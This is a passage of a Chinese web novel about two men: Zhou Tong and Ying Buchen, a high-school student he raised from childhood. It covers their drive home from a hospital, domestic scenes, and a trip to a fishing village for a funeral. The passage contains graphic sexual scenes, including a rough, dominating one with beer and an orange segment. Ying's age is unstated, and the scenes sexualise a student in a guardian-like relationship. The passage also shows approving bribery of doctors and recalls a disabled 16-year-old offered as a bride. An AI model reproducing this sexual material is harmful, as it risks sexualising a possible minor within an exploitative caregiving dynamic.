“我说风筝要是这两年治好了,长大了她也不记得遭罪了,因为我的记忆好像就是从那个鸡窝开始的,云渔之前的事情我真的记不清楚了。”应不尘说,“瞳哥你呢。”
“我比你更混呢。”周瞳说,“我咋那么怕来医院呢,奶那会儿关节就开始变形了,最后一个月瘦得剩下一把骷髅,那会儿去一次那个卫生所,你可能不知道,就在那个搁船那后头,人的毛病也看,鸡的毛病也看那个老头,教我给我奶抽脓水,我哪会啊,一抽都是血,给我脸都吓白了,那老头说我这么大了真是个废物呢,人家小的十三四岁就能抽了。”
“我草了,那会儿我真是,我白天去渔船那头拉绳干活,晚上去集装箱搬鱼,我还得回去照顾我奶,人家说十七八了,该找个媳妇了,给我介绍了个十六的,她家也穷得不行,脑子这块儿还有点儿啥毛病,还带尿布呢,非说给我奶拿多少钱,就给了我了,我吓得真的不行,”周瞳说,“我就想,要是我奶没了,我立马走,人还跟我说,大傻媳妇有福气,我合计我福气可别太贪杯。”
“哈哈,”应不尘笑,“要是咱俩一起长在那,还能在一块吗?”
“那我不娶大傻媳妇呢吗?我拘着福气呢,我能瞧得上你?”周瞳说。
“那你就不能屋里头一个,外头一个啊?”应不尘转过去看着他问。
“能倒是也能,”周瞳说,“你愿意就行。”
“不知检点。”应不尘说,“开车也骚,一个手开,显着你了,从前也这样,不知道哪儿学的,人永远都坐不正,不知道屁股底下是不是长钉子了,老歪着开。”
“那咋,我抱着方向盘喂奶啊?”周瞳说,“你能耐,你来开来,真是给你惯的臭毛病,我干啥就没个好。”
“你这头发。”应不尘顿了顿,饶有意味地说,“长长了。”
“跟你有啥关系啊长长了,”周瞳说,“我还打麻花辫呢,打俩。”
“前面那个出口,边上那个停车区,你停一下吧,我有点事儿。”应不尘说。
“上厕所啊?”周瞳搓着方向盘,就往停车区下道,天都还没亮,许多大车在这里休息,休息完了还要去赶山赶海。
车停好了,周瞳说,“你去呗,我在这等你。”
应不尘下车,拉开了周瞳的车门,“咋了?”周瞳问。
应不尘蹲下来扯了下车座杆子,座位直接往后挪了,他又掰了下座椅调节的,然后拔了钥匙扔在中控,解了周瞳的安全带,就窝了上来,鞋子一勾车门,就关上了。
“你不扎小辫儿给我看吗?”应不尘仰着头看他。
应不尘抓着他后头的一搓头发,亲吻他的耳垂,说,“跟从前还是差点意思,瞳哥,你年轻的时候更好看一点。”
周瞳关了车里的灯,就剩下黑黢黢的影子,边上都是巨大的货车,这小车里面就成了隐秘的空间,周瞳抱着应不尘,亲吻着他,“这么惦记我小辫的时候呢?”
“我惦记你任何时候,”应不尘说,“有点想你,怎么办?”
“你搁医院,那老板娘来了的时候,那小姑娘跟前,那医生跟前,都跟个正人君子似的,现在咋跟个妖精似的?我看你在医院那个样子,”周瞳似是思考了一番,问,“我一看你那正人君子的样儿我就想弄你,想让他们都知道你在床上什么样儿。”
“你舍得他们知道?”应不尘在他耳边吹气。
“有点儿舍不得,”周瞳搔着他的下巴说,“把我皮带解了。”
周瞳反剪了他的手,提起来,“不让用手,解了。”
看他笨拙地,着急地,下巴蹭在要害,伸出舌尖一次次的去够那拉链,周瞳按下他的脑袋,恶意地乱使劲儿,随车的护手霜被挤压,抽回的空气声有点儿类似于某些声音暧昧又凌乱,草莓的香味儿在小小的车厢内蔓延,应不尘从后视镜里看见了周瞳的眼睛。
他的那只眼睛永远清醒,没有温度,所以在说这种话的时候有种错乱的冷静,像是下达某种不得不遵的指令。
冬天太冷了。要抱在一起才行,泥泞才才好呢,沉得抬不起头来,磕在谁消瘦的下颌,是谁的喉结一直在吞咽,是嘴角擦不完的津液混沌着黑夜,意料之外的喇叭被按响,有大车司机在黎明被吓了一跳,而车内的人不知所谓,叼着爱人的喉上演急雨的狂奏。
“走不成了,应不尘,”周瞳喘息着,却不知疲倦着,“我一会儿开不动了。”
“那就不走。”应不尘的手撑在方向盘上,是推开还是拽紧,他打下了那片小小的化妆镜,一掰,坏了,那化妆镜就那样歪悬着,二人的亲昵都在上面展露无遗。
“看我。”应不尘要他抱,要他看,要他又爱又
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亲,要他肆无忌惮,要他发疯索要。“我要你看我。”
周瞳低声耳语,“你太紧了。”
“哪里太紧了?”应不尘喘息地反问。
“抱我抱得太紧了。”周瞳使坏地上劲儿,说,“不然是哪里。”
“有点儿大。”应不尘又蹭着呢喃。
“哪儿大?”周瞳又舔又亲他的鼻尖,“跟我说,哪里大?”
“外面的雪。”应不尘说,“不然难道是你吗...”
话还没说完,他就忍不住颤栗。
周瞳把他抱回去副驾,盖上了一床他们在医院时候一起缩在陪护床上的被子。
陪护床太小了,压根容不下两个成年人。
但是病房的人太多了,哪怕他们在医院围栏的角落也没有安静的时候。
晚上的时候总是会蹭到,总是会擦枪。
本来说想去开个房间睡,但是省城的过年医院附近的价格飙升,应不尘又是个精打细算的人,人家都说两兄弟那一起睡几天等人来了就成了,孩子还得要人轮流看着。
医院外的马路更是灯火通明,放炮的小孩儿大半夜还在跑来跑去,晚上离不得人,不好叫小风筝哭。
缩在那被子里的时候周瞳就抱着应不尘,抵着他捂着他嘴不让他出声。感受他来自手上的安抚都觉得这厮简直故意的,每次就差那么一点点儿,那橘子都剥了皮了他讲不乐意吃了,那炮仗都烧完引线了他一瓢冷水下去了,只要小风筝安逸地睡着,应不尘就开始探索宇宙边界了,探得有些硕果就说交卷了,他也不摘那果子。
周瞳微微开窗,怕开大了他冷,叼了一根烟就上了路。
他一路都不知道回头看了应不尘多少次,他不说话就觉得长路漫漫,叽叽喳喳的时候就觉着来省城一点儿也不远。
雪覆盖在道路两侧,春节的时候没有那么多车,远处的山就像重复不断的浪涛,来省城的路上周瞳有些惊慌,哪怕是他已经想好了要怎么做,他还是觉得不踏实,他看着小风筝就觉得不踏实。
但是应不尘来了,周瞳心里就踏实了。
微妙的感觉,是周瞳知道自己要去哪里,会回那里,要做什么,再也不是颓在沙发上的那个无用的男人。
应不尘最好的十年才开启,自己最好的十年都给他。
周瞳有点腰酸,但是想快点回家。
回到那个温暖的被窝里去,把应不尘抱在怀里,听他轻声的哼唧,逗逗他吃不着边际的飞醋,听他一次次重复无休止的说,“瞳哥,我爱你呀。”
天光开始大亮,日头开始冒出尖尖,白雪都被覆上一层金光,周瞳正想摸索自己的墨镜的时候,应不尘就递了过来。
“醒了?”周瞳问。
“嗯。”应不尘说,“你不是说走不了?”
“这雪要大了,回头可能封高速,早点带你回家。”周瞳扣上了墨镜。
“你累不累?”应不尘问。
“还成吧,”周瞳说,“你要是不朝老骨头整花活儿可能腰还没这么酸。”
“我回去给你按按,”应不尘说,“这几天没洗澡。”
“那地方咋洗,而且咱两就呆这几天。”周瞳说,“早点带你回去吧。”
“嗯。”应不尘抻了个懒腰,身上的衣服被子都掉下来了。
“诶诶,”周瞳说,“搔首弄姿的干啥呢。”
“我伸个懒腰。”应不尘说,“风筝那头那边护士站那锦旗水果,排成一排的,你送的啊?我忘了问了。”
“嗯呢呗,”周瞳说,“跟老板娘说了,我就找日子过去跟她换,让她去店里看自己家孩子去,等消息吧,看看风筝他妈咋说,医院里也排了一个能帮帮手出去一下的阿姨。”
“那俩大夫,一个有车的,我说给他下去挪车,给他后备箱放了红包跟烟酒,还有年轻那个,我看他桌子上有对象照片,瞧着漂亮呢,送了瓶贼贵的香水,装药盒子里又里面塞了一圈钱,跟他说叫他瞧瞧药,塞他兜里了。”
“真的,场面事儿我就真服你。”应不尘说,“我连你的毛都抓不到。”
“有啥用啊,我就会这点儿事了。”周瞳说,“我连你跟他说的啥我都听不明白,我那会儿还想呢,你会不会嫌弃我啊。”
“我嫌弃你?”应不尘说,“你太有意思了,你问的问题太好了。”
“咋好了?”周瞳说,“你咋又跟没憋好屁的样子。”
“你这么个爹,哥,老公,你啥都当完了,我还嫌起你来了,人家说那站在爹的肩膀上看世界是吧,我不是,我站在你头上看世界,完了我一看,我说这世界也没啥好看的呀?世界到底是啥呀?”应不尘说。
“我咋知道世界是啥?你上学没学吗?”周瞳问。
“世界可以指全部,所有,一切,”应不尘说,“包括可感知的和不可感知的,用于描述客观存在以及其他互相关系的总和。①这是课文上的。”
“说啥呢,”周瞳说,“你那你看着啥了?”
“我看着你了。”应不尘说,“我看那词儿,我说这不就是你吗。”
“瞎说八道的。”周瞳叼了根烟,说,“你读这么老些年书,老师给你悉心教导的,你这学的啥呀。”
“那我们又回到刚刚那个问题了,我嫌不嫌弃你,狗还不嫌家贫呢,我读书,是为了和你看世界。”应不尘说。
“你油门踩那么快干啥呀?”应不尘说,“咋跟咱两私奔似的。”
“私奔就私奔呗,”周瞳踩了一脚油门,说,“我倒是想给你下聘,我上哪儿下去,我心思了一圈,我下给我自己。”
65. 我喝橙汁
“你坐那。”应不尘进了门给周瞳找了拖鞋,就让他到沙发上去,盖了块小毯子在他身上,“你等会儿,我把水放一放。”
应不尘去厨房把热水烧上,灌了俩热水袋放被窝里去。“一会儿捂着你脚,钻进去不冷。”
“啊。”周瞳歪在沙发上,翘着脚看电视,这萧十一郎咋还不知道逍遥侯就是杨开泰他爹呢,“萧十一郎傻乎乎的。”
应不尘把小凳子放好,把卫生间弄暖和了,“你过来。”
“啊。”周瞳恋恋不舍的看着电视,说,“来了。”
应不尘把他外套都脱了,让他进去就蹲在地上给他脱袜子解皮带,看着热水试温给他淋身上,“你洗澡就怕烫,”应不尘说,“一会儿就不冷了。”
卫生间腾腾的热气捂住了镜子的眼睛,应不尘端了个盆子接着刚刚的热水,就蹲下来给他洗脚,“你看你这个脚冷的,我都不知道你踩得动踩不动刹车。”
周瞳就歪在那,靠在门上,门还被挂了一块大毛巾,挨着不冷,“我累死了。”
“你不用动,我给你弄。”应不尘给他打上泡沫就给他刮胡子,“疼不?长长了刮就是有点疼。你走的太着急了。”
应不尘拿着小剪刀捂在自己脖子里,歪着给他揉头发,等小剪刀热了一点儿就开始给他剪,剪完了再刮果然不疼了。
“脚还等泡一会儿,”应不尘说,“你靠着我。”
应不尘穿着个白色的长袖这会儿都已经打湿了,周瞳也不管他,就靠在他肚子上,应不尘就给他揉着脑袋洗头发,再慢慢都冲了。“闭眼睛。”应不尘说。
冲干净了,包着大毛巾把他弄出去吹头发,“你等会儿我刚好把饺子煮上,一会儿就能吃。”
周瞳被包的严严实实,又歪在沙发上摸东西吃,这橘子还得剥皮,真是死麻烦,又给扔了。
应不尘换了干衣服,又给他把头擦干,换了块脚都擦干了,扯了个吹风机来给他吹头发,周瞳就盯着那萧十一郎看。
“吹完了,自己去床上去。”应不尘说,“我饺子要好了。”
“啊,”周瞳说,“咋他妈的买的啥房子啊,还要走。”
“走两步,”应不尘说,“就两步就到了。”
周瞳进了暖洋洋的被窝,应不尘早就把窗帘拉上了。
周瞳听见应不尘锅碗瓢盆的声音,过了一会儿他端着饺子过来,周瞳眉头一皱,应不尘说,“醋我打了呢,我拿不下。”
应不尘坐在小凳子上喂他吃饺子,蘸醋了。
“咋不是香醋呢?”周瞳说,“我不乐意吃陈醋,酸。”
“没买上。”应不尘说,“今天先这么吃,行不。”
周瞳拿了本故事汇看,一个个吃着饺子,应不尘说,“一会儿你就睡一觉啊。”
“被你弄了一圈人都醒了。”周瞳说,“路上困得要死。”
“怪我怪我。”应不尘说,“我想着你洗澡了热的好睡觉。”
“我不吃了,你吃吧。”周瞳就在床上打滚。
应不尘就坐在边上吃剩下的饺子。
刚吃完,最后还没咽呢,周瞳说,“你上来,我抱一会儿。”
应不尘说,“我一会儿别冷着你了,我先给手脚捂捂。”
“我跟你说,你小时候可暖和了。”周瞳说,“我回来手一冷,我就抄你屁股底下,老暖和了。”
“我睡觉你都不管,跟个冰棍似的。”应不尘黏过来,说,“我转过去,我给你按按腰,那些凳子你不爱坐。”
“好像从来都是你在伺候我。”周瞳转过头来,“我印象里好像从来没伺候过你,我太懒了。”
“我不用。”应不尘按着他的腰窝,有节奏的一下一下锤着,说,“我就是乐意伺候你。”
“你出息可太大了。”周瞳说。
应不尘掏了个梳子出来,从额头开始梳,到后脑勺,周瞳以前喝完酒回来老挠头,应不尘就发现了,给他梳梳头他就很快会睡着。
周瞳这一觉睡下去可太漫长了,他在医院睡得不好,那些机器总是一惊一乍的,那地方总有消毒水的味道,小风筝总是要哭,别的孩子混在一起哭。
应不尘狗狗搜搜地从被窝里钻出来,给老板娘发了个报平安的短信,把脏衣服都拿出来都洗了,别的都可以投洗衣机,但是内裤这东西,应不尘就得自己洗。周瞳的衣服上有他的味道,淡淡的烟草味混着只有他才有的味道。
把碗都洗了之后应不尘又出去买菜,他老说自己做饭难吃,应不尘打算晚上给他弄点火锅算了,路过报刊亭的时候又买了几本闲书给他看,《潮流男人》,《笑话乐园》,《流氓司机》这些,应不尘打眼一看就知道他会选啥。
应不尘拎着东西回来,轻手轻脚的开门,推开门看了他一会儿,又给周瞳的保温杯倒上热水,把烟跟打火机烟灰缸给他挪过来,橘子刚刚看他扔回去桌上了又给剥好,蹲在边上嗑瓜子,磕出来都放在小碟子上。
都整完了之后应不尘打开了台灯,这次耽误的有点久,还有好多试卷没做。
外面的雪越来越大了,得亏回来的早,刚刚去菜市场的时候雪都已经有点儿积起来了,这会儿从窗外看出去,已经白茫茫一片了。
左边是雪天,右边是睡着的周瞳,他没忍住,弯着膝盖啄了他一口,他睡得太沉,发出轻微的鼾声。
客厅的小茶几上放好了晚餐的东西,电视无声地在播放,阳台上晒满了衣服,应不尘看着正在睡觉的周瞳,轻轻扯了一下嘴角。
他翻了两套试卷,点着大屁股的电脑,这是周瞳给他修的。
下雪没有声音,应不尘写字发出催眠的沙沙声,橘色的台灯柔着墙壁,拉长的影子又忍不住做了一个完成试卷的奖励,偷得一个亲吻。
“做贼呢?”周瞳刚醒时候沙哑的声音在应不尘的耳边格外招人。
周瞳闭着眼睛扯了一把就把人拽了过来,“抓住了,小贼。”
“你醒了呀?”应不尘说,“饿不饿,要多睡一会儿吗?”
“我自己睡不好,”周瞳的声音太哑,“跟你一起睡惯了。”
“我试卷没做完呢。”应不尘说,“堆一起了。”
“那你坐我边上坐。”周瞳说,“我能碰着你就行。”
“我考的这个理工农医类的卷子难,”应不尘说,“题形事儿比你还多。”
“比我还多?”周瞳睁开了眼睛,“我事儿多?我这么大也没人说过我事多呢。”
“你还不多,”应不尘说,“只是人家不注意你生活习惯而已。”
应不尘抽屉里掏了个指甲刀出来又在台灯下给他剪指甲,“老咬指甲呢,从前也不咬呀。”
周瞳就垂着手让他剪,说,“在号子里的时候,剪指甲都得打报告,指甲刀被绳子拴着,人家看着你剪,我不愿意去剪,就咬了。”
应不尘手上的动作停滞了,胸腔汹涌着一片酸意,瘪了瘪嘴。
“干啥呀,又没事。”周瞳说,“你给我剪呗,你剪的舒服。”
一滴眼泪掉在周瞳的手背上,“哎呀,”周瞳抱着哄,“哭啥呀,这有啥呀...”
应不尘圈着他的脖子,眼泪就从脖颈里流进去,“瞳哥...”应不尘哭唧唧的说,“你为啥要这么苦呢。”
“不挺值的么?”周瞳拍着他的背说,“以后你给我剪不就成了吗,哭啥呀...”
“不至于啊,”周瞳抱在怀里哄,“跟他妈你进去了似的呢咋,不是应该你抱着我哄吗?我真服了,我又要进去还得哄你呗。”
应不尘听了这话又擦了一把眼泪起来了,说,“我给你剪完,剪完吃饭,都八点多了。”
“你剪你的呗。”周瞳说。
但是指甲刀一靠近周瞳坑坑洼洼的手指甲,应不尘又跟憋气了似的,抖着手剪。
“饿。”周瞳说。
“马上。”应不尘吸了吸鼻子,这把总算把指甲剪完了
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。
周瞳穿着个拖鞋,说,“你这拖鞋买的还挺暖和。”又套上了一件睡袍,说,“你这睡袍买的也太没样子了。”
“睡衣要啥样子。”应不尘说,“暖和不就成了。”
周瞳抬抬脚说,“你这都超过膝盖了,看着我腿短呢。”
“那我回头找裁缝铺子给你裁一下,行吗?”应不尘在打火煮火锅,把葱蒜醋给他放好。
“你给我买的闲书啊?”周瞳问。
“啊,”应不尘说,“你不是乐意看这个。”
“你给我整点儿文化人看的东西行不行,啥《流氓司机》呀,你看看这里面写的这都啥呀。”周瞳翻了一下,说,“这个时装的书你咋还买去年的,买新刊呀。”
“周瞳。”应不尘叫他。
“叫我大名干啥呀?”周瞳问。
“二十分钟前,我说你事儿多,你说这辈子没人说过你事儿多,”应不尘沉了一口气说,“你就这一会儿,你找了多少事了?”
“哦,”周瞳说,“我烟呢?”
“给你放里头了,还没拿出来。”应不尘擦擦手说,“我给你拿吧,一会儿你又拆新的去,扔的半包半包的,完了我还给你塞一起得。”
“嫌我事儿多了应不尘,”周瞳往沙发上一歪,盖了块小毯子,说,“哎,招人烦了,不是那会儿只要我在这就咋的都行的时候了。”
“你就作吧你,”应不尘新灌了个热水袋,塞周瞳的被子里,把烟灰缸三件套跟保温杯拿过来,又去拿挤好了药膏的牙刷,说,“呲牙。”
周瞳嫌弃地说,“你这你牙膏你都舍不得放啊,跟鼻屎似的。”
“别找事了!”应不尘咬着牙一吆喝。
“激恼啥呀。”周瞳说,“你咋不好好说话呢。”
应不尘把牙刷塞进他嘴里给他刷牙,然后给他举着杯子漱口,来回漱了好几回,撤走了,叫周瞳吃饭。
“吃这个。”应不尘边煮边往往外给周瞳夹,开了瓶啤酒叫他喝。
“死冷的喝啤酒。”周瞳说,“我喝橙汁。”
应不尘忍无可忍,冷静的把他的碗放桌子上去,把茶几挪开了一些。
“咋了?”周瞳问,“咋不叫我吃饭啦?”
“我真是给你惯得没样周瞳,”应不尘说,“我不是给你给你好脸子多了你都不行了啊?”
应不尘把他小毯子扬了,抵着他额头问,“我捧着你当皇帝你真把我当没根的太监呢?”
应不尘按着他就把他睡袍掀了,本就是侧躺着周瞳这会儿陷在沙发里也动弹不得。“你这叫以下犯上你知不知道。”周瞳垂眸子看他,有些懒洋洋的。
“我就犯了,咋了?”应不尘的手探下去,说,“什么都没穿?你为什么这么骚呢?”
“我骚是吧。”周瞳的脚踝使劲儿,“我说啥你就听着不就完了吗?你在这忤逆谁呢?”周瞳一扯睡袍被他压住的边缘,骑着他的腿就给翻过去,掐着他的脑袋按在沙发上。
“不孝子,”周瞳居高临下的声音传来,“跪那儿。”
冰冷的啤酒被拿高了哗啦啦倒上翘起的白肉,小麦果汁的瓶子在地上滴溜溜的转,“我跟你说了死冷,”周瞳撞着他,说,“我现在问你冷不冷。”
周瞳绞着劲儿,说,“我说我要喝橙汁,你就给我弄橙汁不行吗?”
周瞳架着他,从桌子上撂了一个橘子瓣就给塞了进去,橘瓣爆炸的感觉抖得应不尘怎么都反抗不了,“非得我自己榨是吗?”
一巴掌拍下去,“我跟你说话呢。”周瞳掐着他的后脑勺,把他提起来,说,“说话,喝什么。”
应不尘都没有地方能扶,黏糊糊的都动不了,他哆哆嗦嗦地说,“橙...汁...”
“那你喝什么?”周瞳接着问。
应不尘的脑子一片空白,喘息了好几次,脑子里只剩下“橙...汁。”
“一会儿你给我舔了,别浪费。”周瞳说。
66. 那个渔村
周瞳看着电视吃火锅,连夹的啥都不知道。
“我擦好了,你过来坐。”应不尘说。
“真能给你自己找事儿。”周瞳看电视目不转睛,说,“你打得过谁呀你。”
“我记得你也不打架啊。”应不尘说,“啥时候学的武功啊。”
“就那会儿,你跟你汪奶奶住那会儿,那不学点功夫咋行啊,被逮着就完蛋了。”周瞳眼睛还长在电视上呢,“你看看看这沈璧君,这风四娘也是傻。”
“那会儿...你总要打架吗?”应不尘把桌子拉回来,又给周瞳把腿擦干净。
“还行,时间不长。”周瞳被烫着了,呼呼地吹,“后来你汪奶不是还了他们,就好多了。”
应不尘沉默着给他擦脚,又去厨房找个拉着转的榨汁机,给他弄橘子汁喝。
“明天我出去看店面去,完了这会儿找小工不好找,”周瞳说,“然后去瞧瞧现在啥东西好卖,不行当两天售货员去,那歌厅里面的小姑娘我也得瞧瞧去,提前跟你打个招呼。”
应不尘给他碗里夹菜,说,“我十六开学,今天初六了,差不多我开学了你再去一趟省城,完了太晚了你就在那住一宿两宿再回来,别赶路。”
“知道。”周瞳说,“我挑你上学日子去,你这个学期在学校办住宿,那李泥鳅我总是不放心。我回来了你就回家来住,我在外头你就住学校,行不?”
“嗯。”应不尘说,“我同桌就住学校呢,我还给他带早饭。”
“你那手机揣身上,我有事儿给你发短信。”周瞳说。
“那你今天这睡了一天,晚上还睡得着?”应不尘问。
“你陪你做试卷呗,你做你的,完了我看书,你也就车上眯了一会儿,累了就赶紧睡去,这儿的东西我收拾。”周瞳吃完了,打了个饱嗝。
应不尘给他睡袍的带子系好,周瞳的身材没有做装卸那会儿结实了,那时候腹肌都是像超市看见的那种巧克力块似的。
“瞳哥,”应不尘说,“你多吃点儿吧,有点儿瘦。”
“我还觉得我胖了呢。”周瞳收拾着碗筷,“你别弄了,我来。”应不尘上手就把一摞的碗跟锅端进去,带着个手套就开始洗碗。
“你这主要任务是读书,”周瞳说,“你都就几个月你就高考了。”
“得到夏天呢,”应不尘说,“别担心,啥分数我都能接受。”
“瞎说啥呢,”周瞳说,“那可差一分都不行,我上次可是给你开了家长会的,那老师都说了,你们这个03届考生压力大,但是机会多,你想学啥专业啥学校的,反正我跟着你走呗,是不是。”
“那也不用你洗。”应不尘说,“去看萧十一郎去。”
“我就觉得那个连城璧好看呢,他可能要被萧十一郎杀了,我不看了。”周瞳说,“我给你擦碗呗。”
“快看你的书去,我还能不会这些,我就是懒。”周瞳打了一下他屁股,说,“去呗,别等我说第二遍。”
应不尘进屋了,外面的声音就小了,应不尘看见周瞳松松夸夸地挂着个睡袍,露出一些后脖颈,他哼着萧十一郎的主题曲,没一会儿就把碗都洗完了。
应不尘看见他把洗碗的抹布挂起来,又在外面拖地,声音都很轻,连沙发跟凳子都没挪出声音来。
他睡在应不尘书桌的一侧,借着台灯的光看书,给他手里塞了个热水袋,应不尘今天折腾了一天,做完两卷子就困得睁不开眼,周瞳把位置让出来,说,“别掀被子,我睡暖和啦。”
应不尘窝了进来,“瞳哥。”
“嗯?”周瞳看闲书,说,“这个好笑,这个磨刀的,说这个刀太钝了,磨好了得加钱,人家说不钝呢,然后这个磨刀的说,骑出去二里地都不磨裤挡。”
“好不好笑?”周瞳问。
“好笑。”应不尘仰着头看他的下颌,他笑起来眼睛已经有一道浅浅的褶子了,“瞳哥,你给我念故事呗。”
“我给你找一个。”周瞳一手揽着他让他睡肩膀上,一手搓着书,“这个,我给你讲呗。”
“不对,”周瞳合上书,说,“你小时候我给你讲故事,你还记得吗?”
“从前有座山,山上有个庙,庙里有个老和尚,对小和尚说。”应不尘闭着眼睛念。
“说啥?”周瞳等着下文,“你倒是说呀。”
“你就讲到这,就没了。”应不尘说,“我倒是想知道说,老和尚说啥了。我之前问你,你就又念了一遍,说他说的就是这个。”
“我这么损吗?”周瞳说,“行,那我给你讲这个,我看看啊,写的啥。”
“嗯,这个,你猜猜嗷,就是这个人找工作...”周瞳转过头去,应不尘已经在他锁骨前挨着,睡着了。
周瞳合上了书,拉灭了台灯,把他拥在怀里,偶有路过的车灯将光线一拉而过。
从前的时候那鸡棚里总是睡不来午觉,太亮了,都漏光,周瞳就睡不好,扯了件破衣服遮着但是总掉下来。他睡觉不喜欢有光,但是号子里总是开灯睡觉。
这儿的窗帘是黑色的,遮着,一拉上大白天也跟晚上似的。
从前在面粉厂那个钢板房的时候,周瞳的东西总是容易找不见,掉到桌子缝或者哪个犄角旮旯去,但是在这儿应不尘给他打了衣柜,一拉就整整齐齐的东西,虽然周瞳还是找不到。
周瞳紧了紧怀里的人,他怎么就这么瘦这么小呢,是自己那会儿养的不好吗?在周瞳的印象里应家的那个叔叔比他也就大个十岁吧,现在都不知道要叫哥还是叫爹了。
周瞳托着应不尘的手仔细看,要是带上戒指的话,都能想象出来他那个高兴的样儿,一高兴,尾巴就要翘起来了。
他怎么就这么好哄呢?
应不尘在他怀里嗯了一声扭了一下,又把胳膊都挂在周瞳脖子上了。他摸着应不尘的狗毛,让他好好睡觉。
应不尘的手机在震。
大晚上的,谁呀。
周瞳看了一眼,是个陌生的号码。
周瞳接了起来,喂了一声。
“喂?”是家乡的口音。
“哪位。”周瞳说。
“尘啊,你奶奶快不行了,她下头的孙子就你一个了,你要么看看这两天回来一趟吧。”对面的女人说。
“我是你婶母。”女人说。
周瞳坐了起来,去理应家的那些亲戚关系,在他印象里,应不尘是他爸早年是料理他奶奶的,他爸爸的弟弟家那个彪悍的婶母是不管死活的。
这会儿叫应不尘回去,应该就是料理他奶奶的丧事,抱着钱回去。
但是这事儿好像也不太成立,到底有什么事情非得应不尘回去呢?
“行啊,这两天吧。”周瞳说,“这两天寻个时间回去。”
回去得开车,差不多得开一夜。
“宝贝儿。”周瞳轻轻地叫他。
“嗯?”应不尘睡眼朦胧的。
“你婶刚刚给你打电话,我接的,说你奶奶不太好,叫你回去一趟,你想回吗?”周瞳问。
“嗯...得回,不然没完了。”应不尘说,“我婶给我打好几次电话了,过年那会儿也叫我回去,问了好几趟了,叫我回去,我奶奶早就糊涂了,小时候不待见我妈,也不待见我,估计我婶母跟我叔也不咋能孝顺,回是要回,就是懒。”
“找你那会儿我打过村里电话问问你回去没回去,就让她逮着了。”应不尘窝了窝,说,“我有什么亲戚啊,我就有你。”
“要回去...”周瞳叹了口气,说,“快十二点了,初七,你十六开学,初十还得上补习班...那走吧,别磨磨蹭蹭地给你上学耽误了。”
应不尘扭个身,说,“我还睡觉呢。”
周瞳起来把衣服收一收,从抽屉里拿了两条烟,数了数钱,又给应不尘桌子上的试卷夹起来,笔都拿了几根还有文具,拎了点儿吃的就放后备箱去。
狗崽子还在睡觉。
周瞳把他连着被子抱起来,塞进车的副驾。
也想放后面睡得好,但是这样周瞳只能后视镜看见一点点。
周瞳往应不尘脑袋前面垫了个枕头,叼着一根烟连夜就往云渔去。
在周瞳的印象里,他从云渔出来的时候也是大年之后,约摸跟现在差不多的温度,他穿着个军大衣,翻了好大的山岗。
然后他就在车上遇见了应不尘。
二人十年之后要一起回云渔,听起来跟他妈做梦似的。
夜里的车太少,昨天的大雪已经歇了,除了山上还有,这路面已然是干净的了。化雪的时候车子就容易打滑,周瞳还是个半瞎,一路开得谨慎。
云渔坐落在这儿与旁省的相交一个海边坳口,落后的渔村两头都不管。
早年有偷渡的,出了海了就死海里了。
周瞳倒是不犯困,应不尘很小的时候跟车就爱在车里睡觉,他从前说,一睡醒,就看到了不一样的景,像是周瞳有穿梭时空的本事。
等夜里三四点,应不尘就醒了,看着周瞳。
“醒了?”周瞳说,“前面屉子里有热水,喝。”
应不尘说,“去哪儿啊?”
“云渔呗,”周瞳说,“再有四五个小时就到了,早点弄完你早点回来补习。”
“哦,”应不尘说,“我说我做梦咋梦见我奶死了。”
“你可太孝顺了。”周瞳说,“这个嘴说话咋这么毒呢。”
“等着我揣钱回去下葬呢吧。”
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应不尘揉了揉眼睛说。
“没多少钱,”周瞳说,“我奶我没葬上心里还难受了好久,你别有这遗憾。”
“倒也不是钱的事儿,”应不尘说,“我那个婶母可不是啥好东西,我叔也是窝囊废。”
“是不是好东西的,那咱也得回啊,不能叫戳脊梁骨啊。”周瞳说,“这么说你叔,你看看你这个让我教的都是啥呀。”
“我也没说啥呀。”应不尘说,“好容易闲两天,你又要累了。”
“没事儿,”周瞳说,“正好这两天过年呢,小工也不好找,我也没啥事儿。”
应不尘躲在被子里,说,“你咋给我连被子都一块儿端了。”
“怕你冷,衣服都在后头呢,那包里就是,你要穿就穿呗。”周瞳掐了烟,太冷了,怕冻着人。
“我等你给我穿。”应不尘光溜溜的,周瞳扯了一块围巾把他肩膀盖上了。
“等服务区吧,到了我给你穿,行不行,”周瞳说,“你再睡一觉,到哪儿可没的让你歇,都一堆事儿。”
“那不是有你呢,”应不尘闭着眼睛,说,“你在我前面,要我忙活啥呀,你在这儿,我啥也不怕。”
“诶我跟你说,你回去了咱两这关系你别吱声知道不,”周瞳说,“云渔去宜华的人也不少,打听打听就知道,你别给我作什么妖啊。”
“看心情吧。”应不尘漠然的,他转头看窗外,能在玻璃窗上看见周瞳的影子。
“你,”周瞳说,“你给我正常一点,人家戳你脊梁骨知不知道。”
“我可愿意理他们了是不,”应不尘转过来说,“咋了,我有啥见不得人的呀?他们管我死活了啊,我还管他们,我爱干啥就干啥。”
“你,你急啥呀,”周瞳说,“多一事不如少一事是不是。”
应不尘瘪了半天,说,“我听你话。”
周瞳带着应不尘在早上八九点到了云渔,凭着周瞳的一点点记忆找到了应不尘的奶奶家。
白事将近,屋外有些陌生的面孔,他们好像与十年前没啥变化,看着周瞳的小车停下。
周瞳给应不尘拎着东西,低声说,“叫人。”
应不尘站那,跟牙床烂了似的,喊,“婶,叔,过年好。”
婶婶抹着眼泪,扶着应不尘进去,说,“好孩子,可赶上了,去看看你奶奶吧。”
应不尘跟着人进去,周瞳在外面散烟,人家认出他来了,说,“周家那个是不是,当过大老板的,是不是?”
有人从云渔拉鱼去宜华,认出来周瞳,说,“呀,你也陪着弟弟回来了?”
“这俩兄弟可真好,多少年了都。”那些男人们侃侃而谈,“看看这模样打扮,之前谁说不是跌进去了么,瞎说八道的。”
“现在当老板的几个没进去过,没进去过的都不算大老板。”有人说,周瞳恭维着给他们点烟,说,“呀,太忙太忙,弟要读书,我得挣钱,老太太都这样了才回来。”
众人说要打牌,周瞳陪着打了两圈,就听说老太太咽气了。
应不尘的婶母发出骇人的哭嚎,活像个大孝子。
一咽气,各种程序就可以准备着上了,在这儿要老人开始不吃饭算着日子就可以办事。
应不尘的叔叔过来,还擦了两下眼泪,拉周瞳到角落说,“他哥,咱,咱这个,开几桌啊?”
周瞳给他叔点上烟,说,“我看着架势,得八桌左右吧,再留一桌厨下,照着九桌办吧。”
应不尘的叔叔搓搓手,周瞳往他中山装的口袋里塞了一沓钱,说,“弟的心意,先办吧。”
应不尘被打扮成个白娃娃了,也没见他哭,冷冰冰的,敲打班子都上了,周瞳过去摸摸他头,陪他坐在灵堂前面。
